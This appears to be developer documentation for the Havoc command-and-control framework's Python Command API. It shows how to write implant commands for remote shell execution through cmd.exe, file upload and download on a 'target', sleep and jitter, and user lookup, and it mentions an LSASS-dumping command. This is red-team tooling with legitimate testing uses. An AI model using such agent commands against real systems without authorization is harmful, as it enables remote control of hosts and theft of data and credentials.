Command

Overview

The Command class allows you to define custom commands that operators can execute through your agent in the Havoc client. Each command specifies its parameters, permissions, and generates a task payload for the agent to execute.

Class Definition

from havoc.agent import Command, CommandParam

class CommandShell(Command):
    CommandId = 0x101
    Name = "shell"
    Description = "executes commands using cmd.exe"
    Help = ""
    NeedAdmin = False
    Params = [
        CommandParam(
            name="commands",
            is_file_path=False,
            is_optional=False
        )
    ]
    Mitr = []
    
    def job_generate(self, arguments: dict) -> bytes:
        pass

Required Attributes

int

required

Unique identifier for the command. Should match the command ID in your agent implementation.Example: 0x101 or COMMAND_SHELL

string

required

Command name as typed by operators in the Havoc client console.Example: "shell", "upload", "screenshot"

string

required

Brief description of what the command does.

string

Detailed help text displayed when operators run help [command].

bool

required

Whether the command requires administrator/elevated privileges.

True: Command requires admin rights
False: Command works with normal privileges

list[CommandParam]

required

List of parameters the command accepts. Can be an empty list [] for commands with no parameters.

list[string]

List of MITRE ATT&CK technique IDs associated with this command.Example: ["T1059.003", "T1106"]

CommandParam

Defines a command parameter with validation rules.

CommandParam(
    name="parameter_name",
    is_file_path=False,
    is_optional=False
)

string

required

Parameter name as used in the arguments dictionary.

bool

required

Whether the parameter expects a file path. When True, Havoc validates the file exists.

bool

required

Whether the parameter is optional. When False, the command requires this parameter.

Required Methods

job_generate()

Generates the task payload to send to the agent. This method is called when an operator executes the command. Parameters:

dict

required

Dictionary containing parameter values where keys match the parameter names defined in Params.

Returns: bytes - The packed task payload to send to the agent

def job_generate(self, arguments: dict) -> bytes:
    from havoc.agent import Packer
    
    task = Packer()
    task.add_int(self.CommandId)
    task.add_data(arguments['param_name'])
    
    return task.buffer

Packer Utility

The Packer class builds binary task payloads for your agent.

from havoc.agent import Packer

task = Packer()

Methods

function

Adds a 4-byte integer to the buffer.

task.add_int(0x101)
task.add_int(1234)

function

Adds length-prefixed binary data or string to the buffer.

task.add_data("whoami")
task.add_data(b"\x00\x01\x02\x03")

bytes

The final packed binary buffer to return from job_generate().

return task.buffer

Command Examples

from havoc.agent import Command, CommandParam, Packer

COMMAND_SHELL = 0x101

class CommandShell(Command):
    CommandId = COMMAND_SHELL
    Name = "shell"
    Description = "executes commands using cmd.exe"
    Help = "Usage: shell [command]\nExample: shell whoami"
    NeedAdmin = False
    Params = [
        CommandParam(
            name="commands",
            is_file_path=False,
            is_optional=False
        )
    ]
    Mitr = ["T1059.003"]
    
    def job_generate(self, arguments: dict) -> bytes:
        task = Packer()
        
        task.add_int(self.CommandId)
        task.add_data("c:\\windows\\system32\\cmd.exe /c " + arguments['commands'])
        
        return task.buffer

from havoc.agent import Command, CommandParam, Packer

COMMAND_UPLOAD = 0x102

class CommandUpload(Command):
    CommandId = COMMAND_UPLOAD
    Name = "upload"
    Description = "uploads a file to the target"
    Help = """Usage: upload [local_path] [remote_path]
Example: upload /tmp/payload.exe C:\\Users\\Public\\file.exe"""
    NeedAdmin = False
    Params = [
        CommandParam(
            name="local_path",
            is_file_path=True,
            is_optional=False
        ),
        CommandParam(
            name="remote_path",
            is_file_path=False,
            is_optional=False
        )
    ]
    Mitr = ["T1105"]
    
    def job_generate(self, arguments: dict) -> bytes:
        task = Packer()
        
        # Read file contents
        with open(arguments['local_path'], 'rb') as f:
            file_data = f.read()
        
        task.add_int(self.CommandId)
        task.add_data(arguments['remote_path'])
        task.add_data(file_data)
        
        return task.buffer

from havoc.agent import Command, CommandParam, Packer

COMMAND_DOWNLOAD = 0x103

class CommandDownload(Command):
    CommandId = COMMAND_DOWNLOAD
    Name = "download"
    Description = "downloads a file from the target"
    Help = "Usage: download [remote_path]\nExample: download C:\\Users\\target\\Documents\\data.txt"
    NeedAdmin = False
    Params = [
        CommandParam(
            name="remote_path",
            is_file_path=False,
            is_optional=False
        )
    ]
    Mitr = ["T1005", "T1083"]
    
    def job_generate(self, arguments: dict) -> bytes:
        task = Packer()
        
        task.add_int(self.CommandId)
        task.add_data(arguments['remote_path'])
        
        return task.buffer

from havoc.agent import Command, CommandParam, Packer

COMMAND_SLEEP = 0x104

class CommandSleep(Command):
    CommandId = COMMAND_SLEEP
    Name = "sleep"
    Description = "configure agent sleep interval"
    Help = """Usage: sleep [delay] [jitter]
delay: Sleep delay in seconds (required)
jitter: Jitter percentage 0-100 (optional, default: 0)
Example: sleep 10 20"""
    NeedAdmin = False
    Params = [
        CommandParam(
            name="delay",
            is_file_path=False,
            is_optional=False
        ),
        CommandParam(
            name="jitter",
            is_file_path=False,
            is_optional=True
        )
    ]
    Mitr = []
    
    def job_generate(self, arguments: dict) -> bytes:
        task = Packer()
        
        delay = int(arguments['delay'])
        jitter = int(arguments.get('jitter', 0))
        
        task.add_int(self.CommandId)
        task.add_int(delay)
        task.add_int(jitter)
        
        return task.buffer

from havoc.agent import Command, Packer

COMMAND_GETUID = 0x105

class CommandGetuid(Command):
    CommandId = COMMAND_GETUID
    Name = "getuid"
    Description = "retrieves the current user context"
    Help = "Usage: getuid"
    NeedAdmin = False
    Params = []  # No parameters
    Mitr = ["T1033"]
    
    def job_generate(self, arguments: dict) -> bytes:
        task = Packer()
        task.add_int(self.CommandId)
        return task.buffer

Registering Commands

class CustomAgent(AgentType):
    def __init__(self):
        super().__init__()
        
        # Register all commands
        self.register_command(CommandShell())
        self.register_command(CommandUpload())
        self.register_command(CommandDownload())
        self.register_command(CommandSleep())
        self.register_command(CommandGetuid())

Command Workflow

Operator Input: Operator types command in Havoc client
shell whoami
Parameter Validation: Havoc validates parameters against Params definition
Job Generation: job_generate() is called with parsed arguments
arguments = {'commands': 'whoami'}

Task Packing: Command packs task data using Packer

task = Packer()
task.add_int(COMMAND_SHELL)
task.add_data("cmd.exe /c whoami")
return task.buffer

Transmission: Packed task is sent to agent via Service API
Agent Execution: Agent receives, unpacks, and executes the task
Response: Agent sends results back through the response() handler

Best Practices

Use Unique Command IDs

Ensure each command has a unique CommandId to avoid conflicts. Consider using a hex range:

COMMAND_SHELL = 0x100
COMMAND_UPLOAD = 0x101
COMMAND_DOWNLOAD = 0x102

Validate Input

Validate arguments in job_generate() before packing:

def job_generate(self, arguments: dict) -> bytes:
    delay = int(arguments['delay'])
    if delay < 0 or delay > 3600:
        raise ValueError("Delay must be between 0 and 3600 seconds")
    # Continue packing...

Set Appropriate Permissions

Set NeedAdmin = True for commands requiring elevated privileges:

class CommandDumpLsass(Command):
    Name = "dump-lsass"
    NeedAdmin = True  # Requires admin

Include MITRE ATT&CK Tags

Tag commands with relevant MITRE techniques for threat intelligence:

Mitr = ["T1003.001"]  # LSASS Memory dumping

Write Helpful Documentation

Provide clear help text with usage examples:

Help = """Usage: upload [local_path] [remote_path]

Uploads a file from the operator's machine to the target.

Examples:
upload /tmp/payload.exe C:\\\\Temp\\\\file.exe
upload ./script.ps1 C:\\\\Users\\\\Public\\\\script.ps1"""

AgentType

Learn about agent implementation and response handling

HavocService

Connect your agent to the Teamserver

Commands

Python API

Profiles

Overview

Class Definition

Required Attributes

CommandParam

Required Methods

job_generate()

Packer Utility

Methods

Command Examples

Registering Commands

Command Workflow

Best Practices

AgentType

HavocService

​Overview

​Class Definition

​Required Attributes

​CommandParam

​Required Methods

​job_generate()

​Packer Utility

​Methods

​Command Examples

​Registering Commands

​Command Workflow

​Best Practices

​Related Resources

AgentType

HavocService

Overview

Class Definition

Required Attributes

CommandParam

Required Methods

job_generate()

Packer Utility

Methods

Command Examples

Registering Commands

Command Workflow

Best Practices

Related Resources